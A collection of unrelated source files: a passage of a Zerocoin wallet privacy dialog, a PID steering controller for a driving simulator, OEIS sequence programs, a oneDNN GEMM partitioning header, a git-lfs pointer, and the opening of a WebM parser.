// Spend to newly generated local address
fSuccess = pwalletMain->SpendZerocoin(nAmount, nSecurityLevel, wtxNew, receipt, vMintsSelected, fMintChange, fMinimizeChange);
}
else {
// Spend to supplied destination address
fSuccess = pwalletMain->SpendZerocoin(nAmount, nSecurityLevel, wtxNew, receipt, vMintsSelected, fMintChange, fMinimizeChange, &address);
}
// Display errors during spend
if (!fSuccess) {
int nNeededSpends = receipt.GetNeededSpends(); // Number of spends we would need for this transaction
const int nMaxSpends = Params().Zerocoin_MaxSpendsPerTransaction(); // Maximum possible spends for one zUMB transaction
if (nNeededSpends > nMaxSpends) {
QString strStatusMessage = tr("Too much inputs (") + QString::number(nNeededSpends, 10) + tr(") needed. \nMaximum allowed: ") + QString::number(nMaxSpends, 10);
strStatusMessage += tr("\nEither mint higher denominations (so fewer inputs are needed) or reduce the amount to spend.");
QMessageBox::warning(this, tr("Spend Zerocoin"), strStatusMessage.toStdString().c_str(), QMessageBox::Ok, QMessageBox::Ok);
ui->TEMintStatus->setPlainText(tr("Spend Zerocoin failed with status = ") +QString::number(receipt.GetStatus(), 10) + "\n" + "Message: " + QString::fromStdString(strStatusMessage.toStdString()));
}
else {
QMessageBox::warning(this, tr("Spend Zerocoin"), receipt.GetStatusMessage().c_str(), QMessageBox::Ok, QMessageBox::Ok);
ui->TEMintStatus->setPlainText(tr("Spend Zerocoin failed with status = ") +QString::number(receipt.GetStatus(), 10) + "\n" + "Message: " + QString::fromStdString(receipt.GetStatusMessage()));
}
ui->zUMBpayAmount->setFocus();
ui->TEMintStatus->repaint();
return;
}
// Clear zumbra selector in case it was used
ZUmbraControlDialog::listSelectedMints.clear();
// Some statistics for entertainment
QString strStats = "";
CAmount nValueIn = 0;
int nCount = 0;
for (CZerocoinSpend spend : receipt.GetSpends()) {
strStats += tr("zUmbra Spend #: ") + QString::number(nCount) + ", ";
strStats += tr("denomination: ") + QString::number(spend.GetDenomination()) + ", ";
strStats += tr("serial: ") + spend.GetSerial().ToString().c_str() + "\n";
strStats += tr("Spend is 1 of : ") + QString::number(spend.GetMintCount()) + " mints in the accumulator\n";
nValueIn += libzerocoin::ZerocoinDenominationToAmount(spend.GetDenomination());
}
CAmount nValueOut = 0;
for (const CTxOut& txout: wtxNew.vout) {
strStats += tr("value out: ") + FormatMoney(txout.nValue).c_str() + " Umbra, ";
nValueOut += txout.nValue;
strStats += tr("address: ");
CTxDestination dest;
if(txout.scriptPubKey.IsZerocoinMint())
strStats += tr("zUmbra Mint");
else if(ExtractDestination(txout.scriptPubKey, dest))
strStats += tr(CBitcoinAddress(dest).ToString().c_str());
strStats += "\n";
}
double fDuration = (double)(GetTimeMillis() - nTime)/1000.0;
strStats += tr("Duration: ") + QString::number(fDuration) + tr(" sec.\n");
strStats += tr("Sending successful, return code: ") + QString::number(receipt.GetStatus()) + "\n";
QString strReturn;
strReturn += tr("txid: ") + wtxNew.GetHash().ToString().c_str() + "\n";
strReturn += tr("fee: ") + QString::fromStdString(FormatMoney(nValueIn-nValueOut)) + "\n";
strReturn += strStats;
// Clear amount to avoid double spending when accidentally clicking twice
ui->zUMBpayAmount->setText ("0");
ui->TEMintStatus->setPlainText(strReturn);
ui->TEMintStatus->repaint();
}
void PrivacyDialog::on_payTo_textChanged(const QString& address)
{
updateLabel(address);
}
// Coin Control: copy label "Quantity" to clipboard
void PrivacyDialog::coinControlClipboardQuantity()
{
GUIUtil::setClipboard(ui->labelCoinControlQuantity->text());
}
// Coin Control: copy label "Amount" to clipboard
void PrivacyDialog::coinControlClipboardAmount()
{
GUIUtil::setClipboard(ui->labelCoinControlAmount->text().left(ui->labelCoinControlAmount->text().indexOf(" ")));
}
// Coin Control: button inputs -> show actual coin control dialog
void PrivacyDialog::coinControlButtonClicked()
{
CoinControlDialog dlg;
dlg.setModel(walletModel);
dlg.exec();
coinControlUpdateLabels();
}
// Coin Control: update labels
void PrivacyDialog::coinControlUpdateLabels()
{
if (!walletModel || !walletModel->getOptionsModel() || !walletModel->getOptionsModel()->getCoinControlFeatures())
return;
// set pay amounts
CoinControlDialog::payAmounts.clear();
if (CoinControlDialog::coinControl->HasSelected()) {
// Actual coin control calculation
CoinControlDialog::updateLabels(walletModel, this);
} else {
ui->labelCoinControlQuantity->setText (tr("Coins automatically selected"));
ui->labelCoinControlAmount->setText (tr("Coins automatically selected"));
}
}
bool PrivacyDialog::updateLabel(const QString& address)
{
if (!walletModel)
return false;
// Fill in label from address book, if address has an associated label
QString associatedLabel = walletModel->getAddressTableModel()->labelForAddress(address);
if (!associatedLabel.isEmpty()) {
ui->addAsLabel->setText(associatedLabel);
return true;
}
return false;
}
void PrivacyDialog::setBalance(const CAmount& balance, const CAmount& unconfirmedBalance, const CAmount& immatureBalance,
const CAmount& zerocoinBalance, const CAmount& unconfirmedZerocoinBalance, const CAmount& immatureZerocoinBalance,
const CAmount& watchOnlyBalance, const CAmount& watchUnconfBalance, const CAmount& watchImmatureBalance)
{
currentBalance = balance;
currentUnconfirmedBalance = unconfirmedBalance;
currentImmatureBalance = immatureBalance;
currentZerocoinBalance = zerocoinBalance;
currentUnconfirmedZerocoinBalance = unconfirmedZerocoinBalance;
currentImmatureZerocoinBalance = immatureZerocoinBalance;
currentWatchOnlyBalance = watchOnlyBalance;
currentWatchUnconfBalance = watchUnconfBalance;
currentWatchImmatureBalance = watchImmatureBalance;
CWalletDB walletdb(pwalletMain->strWalletFile);
list<CZerocoinMint> listMints = walletdb.ListMintedCoins(true, false, true);
std::map<libzerocoin::CoinDenomination, CAmount> mapDenomBalances;
std::map<libzerocoin::CoinDenomination, int> mapUnconfirmed;
std::map<libzerocoin::CoinDenomination, int> mapImmature;
for (const auto& denom : libzerocoin::zerocoinDenomList){
mapDenomBalances.insert(make_pair(denom, 0));
mapUnconfirmed.insert(make_pair(denom, 0));
mapImmature.insert(make_pair(denom, 0));
}
int nBestHeight = chainActive.Height();
for (auto& mint : listMints){
// All denominations
mapDenomBalances.at(mint.GetDenomination())++;
if (!mint.GetHeight() || chainActive.Height() - mint.GetHeight() <= Params().Zerocoin_MintRequiredConfirmations()) {
// All unconfirmed denominations
mapUnconfirmed.at(mint.GetDenomination())++;
}
else {
// After a denomination is confirmed it might still be immature because < 1 of the same denomination were minted after it
CBlockIndex *pindex = chainActive[mint.GetHeight() + 1];
int nHeight2CheckpointsDeep = nBestHeight - (nBestHeight % 10) - 20;
int nMintsAdded = 0;
while (pindex->nHeight < nHeight2CheckpointsDeep) { //at least 2 checkpoints from the top block
nMintsAdded += count(pindex->vMintDenominationsInBlock.begin(), pindex->vMintDenominationsInBlock.end(), mint.GetDenomination());
if (nMintsAdded >= Params().Zerocoin_RequiredAccumulation())
break;
pindex = chainActive[pindex->nHeight + 1];
}
if (nMintsAdded < Params().Zerocoin_RequiredAccumulation()){
// Immature denominations
mapImmature.at(mint.GetDenomination())++;
}
}
}
int64_t nCoins = 0;
int64_t nSumPerCoin = 0;
int64_t nUnconfirmed = 0;
int64_t nImmature = 0;
QString strDenomStats, strUnconfirmed = "";
for (const auto& denom : libzerocoin::zerocoinDenomList) {
nCoins = libzerocoin::ZerocoinDenominationToInt(denom);
nSumPerCoin = nCoins * mapDenomBalances.at(denom);
nUnconfirmed = mapUnconfirmed.at(denom);
nImmature = mapImmature.at(denom);
strUnconfirmed = "";
if (nUnconfirmed) {
strUnconfirmed += QString::number(nUnconfirmed) + QString(" unconf. ");
}
if(nImmature) {
strUnconfirmed += QString::number(nImmature) + QString(" immature ");
}
if(nImmature || nUnconfirmed) {
strUnconfirmed = QString("( ") + strUnconfirmed + QString(") ");
}
strDenomStats = strUnconfirmed + QString::number(mapDenomBalances.at(denom)) + " x " +
QString::number(nCoins) + " = <b>" +
QString::number(nSumPerCoin) + " zUMB </b>";
switch (nCoins) {
case libzerocoin::CoinDenomination::ZQ_ONE:
ui->labelzDenom1Amount->setText(strDenomStats);
break;
case libzerocoin::CoinDenomination::ZQ_FIVE:
ui->labelzDenom2Amount->setText(strDenomStats);
break;
case libzerocoin::CoinDenomination::ZQ_TEN:
ui->labelzDenom3Amount->setText(strDenomStats);
break;
case libzerocoin::CoinDenomination::ZQ_FIFTY:
ui->labelzDenom4Amount->setText(strDenomStats);
break;
case libzerocoin::CoinDenomination::ZQ_ONE_HUNDRED:
ui->labelzDenom5Amount->setText(strDenomStats);
break;
case libzerocoin::CoinDenomination::ZQ_FIVE_HUNDRED:
ui->labelzDenom6Amount->setText(strDenomStats);
break;
case libzerocoin::CoinDenomination::ZQ_ONE_THOUSAND:
ui->labelzDenom7Amount->setText(strDenomStats);
break;
case libzerocoin::CoinDenomination::ZQ_FIVE_THOUSAND:
ui->labelzDenom8Amount->setText(strDenomStats);
break;
default:
// Error Case: don't update display
break;
}
}
CAmount matureZerocoinBalance = zerocoinBalance - immatureZerocoinBalance;
CAmount nLockedBalance = 0;
if (walletModel) {
nLockedBalance = walletModel->getLockedBalance();
}
ui->labelzAvailableAmount->setText(QString::number(zerocoinBalance/COIN) + QString(" zUMB "));
ui->labelzAvailableAmount_2->setText(QString::number(matureZerocoinBalance/COIN) + QString(" zUMB "));
ui->labelzUMBAmountValue->setText(BitcoinUnits::floorHtmlWithUnit(nDisplayUnit, balance - immatureBalance - nLockedBalance, false, BitcoinUnits::separatorAlways));
}
void PrivacyDialog::updateDisplayUnit()
{
if (walletModel && walletModel->getOptionsModel()) {
nDisplayUnit = walletModel->getOptionsModel()->getDisplayUnit();
if (currentBalance != -1)
setBalance(currentBalance, currentUnconfirmedBalance, currentImmatureBalance,
currentZerocoinBalance, currentUnconfirmedZerocoinBalance, currentImmatureZerocoinBalance,
currentWatchOnlyBalance, currentWatchUnconfBalance, currentWatchImmatureBalance);
}
}
void PrivacyDialog::showOutOfSyncWarning(bool fShow)
{
ui->labelzUMBSyncStatus->setVisible(fShow);
}
void PrivacyDialog::keyPressEvent(QKeyEvent* event)
{
if (event->key() != Qt::Key_Escape) // press esc -> ignore
{
this->QDialog::keyPressEvent(event);
} else {
event->ignore();
}
}
|
#include <uWS/uWS.h>
#include <iostream>
#include "json.hpp"
#include "PID.h"
#include <math.h>
// for convenience
using json = nlohmann::json;
// For converting back and forth between radians and degrees.
constexpr double pi() { return M_PI; }
double deg2rad(double x) { return x * pi() / 180; }
double rad2deg(double x) { return x * 180 / pi(); }
// Checks if the SocketIO event has JSON data.
// If there is data the JSON object in string format will be returned,
// else the empty string "" will be returned.
std::string hasData(std::string s) {
auto found_null = s.find("null");
auto b1 = s.find_first_of("[");
auto b2 = s.find_last_of("]");
if (found_null != std::string::npos) {
return "";
}
else if (b1 != std::string::npos && b2 != std::string::npos) {
return s.substr(b1, b2 - b1 + 1);
}
return "";
}
// inital values for twiddle - should really take this into a class
double best_error = 100000;
double t_state = 0;
int t_idx = 0;
int t_iter = 0;
int n_iter = 1500;
int tune_count = 0;
// starting values for the controllers
std::vector<double> p = {0.105,0.002,1.0};
std::vector<double> dp = {0.05,0.0005,0.25};
void twiddle(PID &pid_steer) {
// first time through, set the best error and increase the gain
if (t_state == 0) {
best_error = pid_steer.MeanError();
p[t_idx] += dp[t_idx];
t_state = 1;
} else if (t_state == 1) {
// check error
if (pid_steer.MeanError() < best_error) {
// better than last time - update
best_error = pid_steer.MeanError();
// increase that increment for next time
dp[t_idx] *= 1.1;
// get next controller gain and set it
t_idx = (t_idx + 1) % 3;
p[t_idx] += dp[t_idx];
t_state = 1;
} else {
// worse than last time - decrease the gain but bound to zero
p[t_idx] -= 2 * dp[t_idx];
if (p[t_idx] < 0) {
p[t_idx] = 0;
t_idx = (t_idx + 1) % 3;
}
t_state = 2;
}
} else {
// check error
if (pid_steer.MeanError() < best_error) {
best_error = pid_steer.MeanError();
dp[t_idx] *= 1.1;
t_idx = (t_idx + 1) % 3;
p[t_idx] += dp[t_idx];
t_state = 1;
} else {
p[t_idx] += dp[t_idx];
dp[t_idx] *= 0.9;
t_idx = (t_idx + 1) % 3;
p[t_idx] += dp[t_idx];
t_state = 1;
}
}
pid_steer.Init(p[0], p[1], p[2]);
}
int main(int argc, char* argv[])
{
uWS::Hub h;
// get control parameters - consider getopt next time...
// looking for -t(une) -s(peed)
int c = 1;
int tune_controller = -1;
int use_throttle_controller = -1;
// default gains in case none are passed
std::vector<double> coeffs = {0.105,0.002,1.0};
std::vector<double> throttle_coeffs = {0.5,0.0,1.0};
// capture command line params in a not-so-great way
int count_params = 0;
while (c < argc) {
// we want to tune?
if (strcmp(argv[c],"-t") == 0) {
tune_controller = 0;
std::cout << "TUNING!" << std::endl;
// we want to go fast?
} else if (strcmp(argv[c],"-s") == 0) {
use_throttle_controller = 0;
std::cout << "throttle control on!" << std::endl;
} else {
// we want to pass params for steering
if (count_params < 3) {
coeffs[count_params] = atof(argv[c]);
count_params += 1;
// we want to pass params for throttle
} else if (count_params < 6) {
throttle_coeffs[count_params-3] = atof(argv[c]);
count_params += 1;
}
}
c += 1;
}
PID pid;
// Initialize the pid variable for steering
pid.Init(coeffs[0], coeffs[1], coeffs[2]);
PID t_pid;
// Initialize the pid variable for throttle - even if not asked for
t_pid.Init(throttle_coeffs[0], throttle_coeffs[1], throttle_coeffs[2]);
h.onMessage([&pid, &t_pid, &tune_controller, &use_throttle_controller](uWS::WebSocket<uWS::SERVER> ws, char *data, size_t length, uWS::OpCode opCode) {
// "42" at the start of the message means there's a websocket message event.
// The 4 signifies a websocket message
// The 2 signifies a websocket event
if (length && length > 2 && data[0] == '4' && data[1] == '2')
{
auto s = hasData(std::string(data).substr(0, length));
if (s != "") {
auto j = json::parse(s);
std::string event = j[0].get<std::string>();
if (event == "telemetry") {
// j[1] is the data JSON object
double cte = std::stod(j[1]["cte"].get<std::string>());
double speed = std::stod(j[1]["speed"].get<std::string>());
double angle = std::stod(j[1]["steering_angle"].get<std::string>());
double steer_value;
double throttle;
/*
* TODO: Calcuate steering value here, remember the steering value is
* [-1, 1].
* NOTE: Feel free to play around with the throttle and speed. Maybe use
* another PID controller to control the speed!
*/
// Update the individual errors from current error
pid.UpdateError(cte);
// get the total error and bound to +/- 1
steer_value = pid.TotalError();
if (steer_value > 1.0) {
steer_value = 1.0;
}
if (steer_value < -1.0) {
steer_value = -1.0;
}
// if we're asking to go fast do the same for the throttle
if (use_throttle_controller == 0) {
t_pid.UpdateError(cte);
// use absolute error offset from maximum
throttle = fabs(t_pid.TotalError());
throttle = 1.0 - throttle;
if (throttle > 1.0) {
throttle = 1.0;
}
if (throttle < -1.0) {
throttle = -1.0;
}
} else {
// otherwise fixed throttle
throttle = 0.3;
}
// if we want to tune, use twiddle
if (tune_controller == 0) {
// track how many steps in the current run we've done
t_iter += 1;
// if we've done a complete lap then twiddle
if (t_iter > n_iter) {
// track how many times we've twiddled
tune_count += 1;
// get the mean error for the run
double mte = pid.MeanError();
// twiddle it - which will re-initialise the controller
twiddle(pid);
// set the step counter to zero and reset the simulator
t_iter = 0;
std::string msg = "42[\"reset\", {}]";
ws.send(msg.data(), msg.length(), uWS::OpCode::TEXT);
std::cout << mte << "|" << tune_count << std::endl;
} else {
json msgJson;
msgJson["steering_angle"] = steer_value;
msgJson["throttle"] = throttle;
auto msg = "42[\"steer\"," + msgJson.dump() + "]";
// std::cout << msg << std::endl;
ws.send(msg.data(), msg.length(), uWS::OpCode::TEXT);
}
// DEBUG
//std::cout << "CTE|" << cte << "|Steering Value|" << steer_value;
//std::cout << "|angle|" << angle;
//std::cout << "|speed|" << speed << std::endl;
// otherwise just output the values to the simulator
} else {
// DEBUG
std::cout << cte << "|" << steer_value;
std::cout << "|" << angle << "|" << throttle;
std::cout << "|" << speed << std::endl;
json msgJson;
msgJson["steering_angle"] = steer_value;
msgJson["throttle"] = throttle;
auto msg = "42[\"steer\"," + msgJson.dump() + "]";
//std::cout << msg << std::endl;
ws.send(msg.data(), msg.length(), uWS::OpCode::TEXT);
}
}
} else {
// Manual driving
std::string msg = "42[\"manual\",{}]";
ws.send(msg.data(), msg.length(), uWS::OpCode::TEXT);
}
}
});
// We don't need this since we're not using HTTP but if it's removed the program
// doesn't compile :-(
h.onHttpRequest([](uWS::HttpResponse *res, uWS::HttpRequest req, char *data, size_t, size_t) {
const std::string s = "<h1>Hello world!</h1>";
if (req.getUrl().valueLength == 1)
{
res->end(s.data(), s.length());
}
else
{
// i guess this should be done more gracefully?
res->end(nullptr, 0);
}
});
h.onConnection([&h](uWS::WebSocket<uWS::SERVER> ws, uWS::HttpRequest req) {
std::cout << "Connected!!!" << std::endl;
});
h.onDisconnection([&h](uWS::WebSocket<uWS::SERVER> ws, int code, char *message, size_t length) {
ws.close();
std::cout << "Disconnected" << std::endl;
});
int port = 4567;
if (h.listen(port))
{
std::cout << "Listening to port " << port << std::endl;
}
else
{
std::cerr << "Failed to listen to port" << std::endl;
return -1;
}
h.run();
}
|
; A134824: Generated by reverse of Schroeder II o.g.f.
; 0,1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1
pow $0,4
mov $1,2
sub $1,$0
div $0,$1
mov $1,$0
|
/*******************************************************************************
* Copyright 2019-2020 Intel Corporation
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*******************************************************************************/
#ifndef GEMM_PARTITION_HPP
#define GEMM_PARTITION_HPP
#include <array>
#include <cstdint>
#include <tuple>
#include "nstl.hpp"
#include "utils.hpp"
namespace dnnl {
namespace impl {
namespace cpu {
static inline void partition_1d(const int ithr, const int nthrs, const dim_t n,
dim_t &t_offset, dim_t &t_block) {
dim_t band = n / nthrs;
dim_t tail = n - (nthrs - 1) * band;
if (tail > (band + 1)) band++;
tail = n - (nthrs - 1) * band;
if (ithr < (nthrs - 1))
t_block = band;
else
t_block = tail;
t_offset = ithr * band;
if (t_offset >= n) {
t_block = 0;
t_offset = 0;
} else if ((t_offset + t_block) > n) {
t_block = n - t_offset;
}
}
static inline void partition_2d(const int ithr, int *nthrs, const int ithr_i,
const int ithr_j, const int nthrs_m, const int nthrs_n, const dim_t m,
const dim_t n, dim_t &out_m_disp, dim_t &out_m_band, dim_t &out_n_disp,
dim_t &out_n_band) {
dim_t m_disp = 0, n_disp = 0;
dim_t m_band = 0, n_band = 0;
int m_div = nthrs_m;
int n_div = nthrs_n;
dim_t m_bandt = m / m_div; /* size per thread */
dim_t n_bandt = n / n_div; /* size per thread */
int first_m_group = m_div - 1;
int first_n_group = n_div - 1;
dim_t first_m_val = m_bandt;
dim_t first_n_val = n_bandt;
int mthr_used = m_div;
if (m - (m_div - 1) * m_bandt > m_bandt + 1) {
if (m - (m_div - 1) * m_bandt > m_div) ++m_bandt;
first_m_val = m_bandt + 1;
mthr_used = (int)(m / first_m_val);
if (mthr_used * first_m_val < m) ++mthr_used;
first_m_group = mthr_used - 1;
}
int nthr_used = n_div;
if (n - (n_div - 1) * n_bandt > n_bandt + 1) {
first_n_val = n_bandt + 1;
nthr_used = (int)(n / first_n_val);
if (nthr_used * first_n_val < n) ++nthr_used;
first_n_group = nthr_used - 1;
}
*nthrs = mthr_used * nthr_used;
if (ithr < *nthrs) {
if (ithr_i < first_m_group) {
m_band = first_m_val;
m_disp = ithr_i * first_m_val;
} else if (ithr_i <= mthr_used - 2) {
m_band = m_bandt;
m_disp = first_m_group * first_m_val
+ (ithr_i - first_m_group) * m_bandt;
} else {
m_disp = first_m_group * first_m_val
+ (mthr_used - 1 - first_m_group) * m_bandt;
m_band = nstl::max(dim_t(0), m - m_disp);
}
if (ithr_j < first_n_group) {
n_band = first_n_val;
n_disp = ithr_j * first_n_val;
} else if (ithr_j <= nthr_used - 2) {
n_band = n_bandt;
n_disp = first_n_group * first_n_val
+ (ithr_j - first_n_group) * n_bandt;
} else {
n_disp = first_n_group * first_n_val
+ (nthr_used - 1 - first_n_group) * n_bandt;
n_band = nstl::max(dim_t(0), n - n_disp);
}
m_disp = nstl::max(nstl::min(m_disp, m - 1), dim_t(0));
n_disp = nstl::max(nstl::min(n_disp, n - 1), dim_t(0));
}
if (ithr < *nthrs) {
out_m_disp = m_disp;
out_n_disp = n_disp;
out_m_band = m_band;
out_n_band = n_band;
} else {
out_m_disp = 0;
out_n_disp = 0;
out_m_band = 0;
out_n_band = 0;
}
return;
}
static inline std::tuple<int, int> partition_2d_minblk_with_primes(int m, int n,
int block_m, int block_n, int min_m, int min_n, int um, int un,
int nthr, bool use_aspect_ratio) {
auto part_m = nstl::max(1, m / block_m);
auto part_n = nstl::max(1, n / block_n);
// Quick exit if there are enough partitions in one direction
// and there is only 1 partition in the other one
if (part_m == 1 && part_n >= nthr)
return std::make_tuple(1, nstl::min(part_n, nthr));
if (part_n == 1 && part_m >= nthr)
return std::make_tuple(nstl::min(part_m, nthr), 1);
auto num_parts = part_m * part_n;
int nthr_ite = nthr;
int nthr_m = 1, nthr_n = 1;
int band_m = m, band_n = n;
for (auto p : {2, 3, 5, 7, 11, 13, 17, 19, 23, 29}) {
bool finished = false;
while ((nthr_ite % p) == 0 && !finished) {
nthr_ite /= p;
auto nthr_m_ite = nthr_m * p;
auto nthr_n_ite = nthr_n * p;
auto band_m_ite = band_m / p;
auto band_n_ite = band_n / p;
// Try partitioning with block size bm x bn
auto try_partition = [&](int bm, int bn, bool pick_small) {
float ratio_m = (float)band_m_ite / bm;
float ratio_n = (float)band_n_ite / bn;
bool do_m = false, do_n = false;
if (ratio_m < 1. && ratio_n >= 1.)
do_n = true;
else if (ratio_m >= 1. && ratio_n < 1.)
do_m = true;
else if (ratio_m >= 1. && ratio_n >= 1.) {
if (use_aspect_ratio) {
float ratio_goal = (float)um / un;
float try_ratio_m = (float)band_m_ite / band_n
* (1. / ratio_goal);
float try_ratio_n = (float)band_m / band_n_ite
* (1. / ratio_goal);
if (pick_small) {
// Pick either the smaller or larger ratio as appropriate.
((ratio_m < ratio_n) ? do_m : do_n) = true;
} else {
// Pick the dimension that will keep as close as possible
// to best ratio between m and n.
((nstl::abs(try_ratio_m - 1.)
< nstl::abs(try_ratio_n - 1))
? do_m
: do_n)
= true;
}
} else {
(((ratio_m < ratio_n) == pick_small) ? do_m : do_n)
= true;
}
}
if (do_m) {
// Partition m.
nthr_m = nthr_m_ite;
band_m = band_m_ite;
} else if (do_n) {
// Partition n.
nthr_n = nthr_n_ite;
band_n = band_n_ite;
}
return do_m || do_n;
};
// If we will need min based partitioning do it now
if (num_parts < nthr) {
num_parts *= p;
if (try_partition(min_m, min_n, true)) continue;
}
if (try_partition(block_m, block_n, false)) continue;
if (try_partition(min_m, min_n, true)) continue;
// Both band_m/n are smaller than min_m/n
// exit the loops, nothing to partition
finished = true;
}
if (finished) break;
}
return std::make_tuple(nthr_m, nthr_n);
}
static inline std::tuple<int, int> partition_2d_minblk(int m, int n,
int block_m, int block_n, int min_m, int min_n, int um, int un,
int nthr, bool use_aspect_ratio) {
int part_m = nstl::max(1, m / min_m);
int part_n = nstl::max(1, n / min_n);
// Quick exit if one of the dimensions is too small to partition.
if (part_m == 1) {
part_n = nstl::max(1, utils::div_up(n, min_n));
return std::make_tuple(1, nstl::min(part_n, nthr));
}
if (part_n == 1) {
part_m = nstl::max(1, utils::div_up(m, min_m));
return std::make_tuple(nstl::min(part_m, nthr), 1);
}
int nthr_m = 0, nthr_n = 0;
auto nthr_thresh = nstl::min(0.95 * nthr, (double)(part_m * part_n));
for (int nthr_new = nthr; nthr_new > nthr / 2; nthr_new--) {
if (nthr_m * nthr_n >= nthr_thresh) break;
std::tie(nthr_m, nthr_n)
= partition_2d_minblk_with_primes(m, n, block_m, block_n, min_m,
min_n, um, un, nthr_new, use_aspect_ratio);
}
return std::make_tuple(nthr_m, nthr_n);
}
} /* namespace cpu */
} /* namespace impl */
} /* namespace dnnl */
#endif
|
version https://git-lfs.github.com/spec/v1
oid sha256:93efbb6db2794ea409db5cf2d38fdea5590eb46076eaed70000108f75dd52b49
size 561
|
; A242436: n^5 - 2n.
; 0,-1,28,237,1016,3115,7764,16793,32752,59031,99980,161029,248808,371267,537796,759345,1048544,1419823,1889532,2476061,3199960,4084059,5153588,6436297,7962576,9765575,11881324,14348853,17210312,20511091,24299940,28629089,33554368,39135327,45435356,52521805,60466104,69343883,79235092,90224121,102399920,115856119,130691148,147008357,164916136,184528035,205962884,229344913,254803872,282475151,312499900,345025149,380203928,418195387,459164916,503284265,550731664,601691943,656356652,714924181,777599880,844596179,916132708,992436417,1073741696,1160290495,1252332444,1350124973,1453933432,1564031211,1680699860,1804229209,1934917488,2073071447,2219006476,2373046725,2535525224,2706784003,2887174212,3077056241,3276799840,3486784239,3707398268,3939040477,4182119256,4437052955,4704270004,4984209033,5277318992,5584059271,5904899820,6240321269,6590815048,6956883507,7339040036,7737809185,8153726784,8587340063,9039207772,9509900301,9999999800,10510100299,11040807828,11592740537,12166528816,12762815415,13382255564,14025517093,14693280552,15386239331,16105099780,16850581329,17623416608,18424351567,19254145596,20113571645,21003416344,21924480123,22877577332,23863536361,24883199760,25937424359,27027081388,28153056597,29316250376,30517577875,31757969124,33038369153,34359738112,35723051391,37129299740,38579489389,40074642168,41615795627,43204003156,44840334105,46525873904,48261724183,50049002892,51888844421,53782399720,55730836419,57735338948,59797108657,61917363936,64097340335,66338290684,68641485213,71008211672,73439775451,75937499700,78502725449,81136811728,83841135687,86617092716,89466096565,92389579464,95388992243,98465804452,101621504481,104857599680,108175616479,111577100508,115063616717,118636749496,122298102795,126049300244,129891985273,133827821232,137858491511,141985699660,146211169509,150536645288,154963891747,159494694276,164130859025,168874213024,173726604303,178689902012,183765996541,188956799640,194264244539,199690286068,205236900777,210906087056,216699865255,222620277804,228669389333,234849286792,241162079571,247609899620,254194901569,260919262848,267785183807,274794887836,281950621485,289254654584,296709280363,304316815572,312079600601,319999999600,328080400599,336323215628,344730880837,353305856616,362050627715,370967703364,380059617393,389328928352,398778219631,408410099580,418227201629,428232184408,438427731867,448816553396,459401383945,470184984144,481170140423,492359665132,503756396661,515363199560,527182964659,539218609188,551473076897,563949338176,576650390175,589579256924,602738989453,616132665912,629763391691,643634299540,657748549689,672109329968,686719855927,701583370956,716703146405,732082481704,747724704483,763633170692,779811264721,796262399520,812990016719,829997586748,847288608957,864866611736,882735152635,900897818484,919358225513,938120019472,957186875751
mov $1,$0
mul $0,2
pow $1,5
sub $1,$0
|
; A158555: a(n) = 196*n^2 + 14.
; 14,210,798,1778,3150,4914,7070,9618,12558,15890,19614,23730,28238,33138,38430,44114,50190,56658,63518,70770,78414,86450,94878,103698,112910,122514,132510,142898,153678,164850,176414,188370,200718,213458,226590,240114,254030,268338,283038,298130,313614,329490,345758,362418,379470,396914,414750,432978,451598,470610,490014,509810,529998,550578,571550,592914,614670,636818,659358,682290,705614,729330,753438,777938,802830,828114,853790,879858,906318,933170,960414,988050,1016078,1044498,1073310
pow $0,2
mul $0,196
add $0,14
|
// Copyright 2014 The Chromium Authors. All rights reserved.
// Use of this source code is governed by a BSD-style license that can be
// found in the LICENSE file.
#include "packager/media/formats/webm/webm_parser.h"
// This file contains code to parse WebM file elements. It was created
// from information in the Matroska spec.
// http://www.matroska.org/technical/specs/index.html
// This file contains code for encrypted WebM. Current WebM
// encrypted request for comments specification is here
// http://wiki.webmproject.org/encryption/webm-encryption-rfc
#include <limits>
#include "packager/base/logging.h"
#include "packager/base/numerics/safe_conversions.h"
#include "packager/media/formats/webm/webm_constants.h"
namespace shaka {
namespace media {
enum ElementType {
UNKNOWN,
LIST, // Referred to as Master Element in the Matroska spec.
UINT,
FLOAT,
BINARY,
STRING,
SKIP,
};
struct ElementIdInfo {
ElementType type_;
int id_;
};
struct ListElementInfo {
int id_;
int level_;
const ElementIdInfo* id_info_;
int id_info_count_;
};
// The following are tables indicating what IDs are valid sub-elements
// of particular elements. If an element is encountered that doesn't
// appear in the list, a parsing error is signalled. Some elements are
// marked as SKIP because they are valid, but we don't care about them
// right now.
static const ElementIdInfo kEBMLHeaderIds[] = {
{UINT, kWebMIdEBMLVersion},
{UINT, kWebMIdEBMLReadVersion},
{UINT, kWebMIdEBMLMaxIDLength},
{UINT, kWebMIdEBMLMaxSizeLength},
{STRING, kWebMIdDocType},
{UINT, kWebMIdDocTypeVersion},
{UINT, kWebMIdDocTypeReadVersion},
};
static const ElementIdInfo kSegmentIds[] = {
{LIST, kWebMIdSeekHead},
{LIST, kWebMIdInfo},
{LIST, kWebMIdCluster},
{LIST, kWebMIdTracks},
{LIST, kWebMIdCues},
{LIST, kWebMIdAttachments},
{LIST, kWebMIdChapters},
{LIST, kWebMIdTags},
};
static const ElementIdInfo kSeekHeadIds[] = {
{LIST, kWebMIdSeek},
};
static const ElementIdInfo kSeekIds[] = {
{BINARY, kWebMIdSeekID},
{UINT, kWebMIdSeekPosition},
};
static const ElementIdInfo kInfoIds[] = {
{BINARY, kWebMIdSegmentUID},
{STRING, kWebMIdSegmentFilename},
{BINARY, kWebMIdPrevUID},
{STRING, kWebMIdPrevFilename},
{BINARY, kWebMIdNextUID},
{STRING, kWebMIdNextFilename},
{BINARY, kWebMIdSegmentFamily},
{LIST, kWebMIdChapterTranslate},
